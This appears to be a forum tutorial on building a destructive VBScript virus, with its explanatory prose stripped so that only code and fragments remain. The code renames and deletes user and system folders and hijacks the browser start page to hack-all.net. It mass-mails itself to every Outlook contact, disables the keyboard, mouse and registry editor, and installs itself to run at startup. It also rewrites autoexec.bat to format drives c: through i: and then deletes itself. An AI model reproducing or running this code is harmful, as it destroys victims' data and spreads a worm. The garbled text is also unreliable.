_______ |
*~ ~ VBS! (' - ).
-------------------------------------------------------------
.......
( )...... :
CODE'
Set f = CreateObject("scripting.filesystemobject")
Set s = CreateObject("Wscript.Shell")
t=0: on error resume next
Set os = CreateObject("Shell.Application")
set ie = WScript.CreateObject("InternetExplorer.Application")
Set oe = WScript.CreateObject("Outlook.Application")
....
:.....
1) :
CODE'
s.popup "text1", , "text2", 0+16
text1 -
text2 -
0+x -
(0+0) -
(0+16) -
(0+64) -
(0+48) -
(0+32) -
2) - ....
CODE' , "text"
For Each Folder In s.SpecialFolders
if right(folder,12)=" " then
set tf=f.getfolder(folder)
set af=tf.files
For Each fl In af
set file=f.getfile(fl):t=t+1
file.name="text" & t
next
end if
next
text - !
-------------------------------------
' "_"
For Each Folder In s.SpecialFolders
if right(folder,13)=" " then
set tf=f.getfolder(folder): tf.name="_"
End if
next
------------------------------------
' , "_"
For Each Folder In s.SpecialFolders
if right(folder,13)=" " then
set tf=f.getfolder(folder)
set af=tf.files
For Each fl In af
set file=f.getfile(fl):t=t+1
file.name="" & t
next
end if
next
------------------------------------
' , \ "_"
For Each Folder In s.SpecialFolders
if right(folder,12)=" " then
set tf=f.getfolder(folder)
set af=tf.subfolders
For Each fl In af
set file=f.getfolder(fl):t=t+1
file.name="_" & t
next
end if
next
3) - :
CODE' "FOLDER"
For Each Folder In s.SpecialFolders
if right(folder,12)=" " then
f.copyfolder folder, "FOLDER"
f.deletefolder folder, true
next
(folder - )
--------------------------------------
' ""
For Each Folder In s.SpecialFolders
if right(folder,13)=" " then
f.copyfolder folder, ""
f.deletefolder folder, true
next
4) ......
CODE
' "http:\\hack-all.net"
s.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", "http:\\hack-all.net"
----------------------------------------
' "http:\\hack-all.net"
ie.Visible = True
ie.Navigate "http:\\hack-all.net"
----------------------------------------
'
For Index = 1 To oe.GetNameSpace("MAPI").AddressLists(1).count
Set OutMail = oe.CreateItem(0)
OutMail.to = oe.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = " "
OutMail.Body = " "
OutMail.Attachments.Add WScript.ScriptFullName
OutMail.Send
Next
5) ....
CODE'
For Each Folder In s.SpecialFolders
-------------------------------------------------
'
f.deletefolder s.SpecialFolders ("Desktop"),true
-------------------------------------------------
' Aplication Data
if right(folder,15)="Aplication Data" then f.deletefolder folder,true
-------------------------------------------------
' PrintHood
if right(folder,9)="PrintHood" then f.deletefolder folder,true
-------------------------------------------------
' ShellNew
if right(folder,8)="ShellNew" then f.deletefolder folder,true
-------------------------------------------------
'
if right(folder,5)="FONTS" then f.deletefolder folder,true
-------------------------------------------------
' NetHood
if right(folder,7)="NetHood" then f.deletefolder folder,true
-------------------------------------------------
'
if right(folder,12)=" " then f.deletefolder folder,true
-------------------------------------------------
' SendTo
if right(folder,6)="SendTo" then f.deletefolder folder,true
-------------------------------------------------
' Recent
if right(folder,6)="Recent" then f.deletefolder folder,true
-------------------------------------------------
'
if right(folder,12)="" then f.deletefolder folder,true
-------------------------------------------------
'
if right(folder,9)="" then f.deletefolder folder,true
-------------------------------------------------
'
if right(folder,13)=" " then f.deletefolder folder,true
-------------------------------------------------
'
if right(folder,9)="" then f.deletefolder folder,true
Next
6) ....... ( )
CODE'
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SwapNT", "rundll32 user32, SwapMouseButton"
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Swap98", "rundll32.exe user.exe, swapmousebutton"
s.Run "rundll32 user32, SwapMouseButton"
-------------------------------------------------
' ( Windows 95,98,Me)
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Dead", "rundll32 keyboard,disable"
s.Run "rundll32.exe keyboard.exe, disable"
-------------------------------------------------
' ( Windows 95,98,Me)
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Mad", "rundll32 mouse,disable"
s.Run "rundll32.exe mouse.exe, disable"
-------------------------------------------------
'
os.MinimizeAll
-------------------------------------------------
'
Set File2 = f.GetFile(WScript.ScriptFullName)
File2.Copy ("c:\windows\System\Gigabyte.vbs")
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Gigabyte", "C:\WINDOWS\SYSTEM\Gigabyte.vbs"
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Gigabyte", "C:\WINDOWS\SYSTEM\Gigabyte.vbs"
-------------------------------------------------
' RegEdit( ). DisableRegistryTools - 0
s.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM\DisableRegistryTools", 1, "REG_DWORD"
-------------------------------------------------
' ( Windows 95,98,Me)
If f.FileExists("d:\autoexec.bat") Then Str ="d:\autoexec.bat"
If f.FileExists("d:\Windows.000\autoexec.bat") Then Str ="d:\Windows.000\autoexec.bat"
If f.FileExists("d:\Windows\autoexec.bat") Then Str ="d:\Windows\autoexec.bat"
If f.FileExists("c:\autoexec.bat") Then Str = "c:\autoexec.bat"
If f.FileExists("c:\Windows.000\autoexec.bat") Then Str = "c:\Windows.000\autoexec.bat"
If f.FileExists("c:\Windows\autoexec.bat") Then Str = "c:\Windows\autoexec.bat"
Set ab = f.GetFile(Str)
ab.Attributes = 0
Set autoexec = f.CreateTextFile(Str)
autoexec.WriteLine "@cls"
autoexec.WriteLine "@format c: /q /autotest"
autoexec.WriteLine "@format d: /q /autotest"
autoexec.WriteLine "@format e: /q /autotest"
autoexec.WriteLine "@format f: /q /autotest"
autoexec.WriteLine "@format g: /q /autotest"
autoexec.WriteLine "@format h: /q /autotest"
autoexec.WriteLine "@format i: /q /autotest"
autoexec.Close
s.Run Str, 5
-------------------------------------------------
' ( Windows 95,98,Me)
s.Run "Rundll32.exe User.exe,ExitWindows"
-------------------------------------------------
'
f.deletefile WScript.ScriptFullName, true
: | SOFT |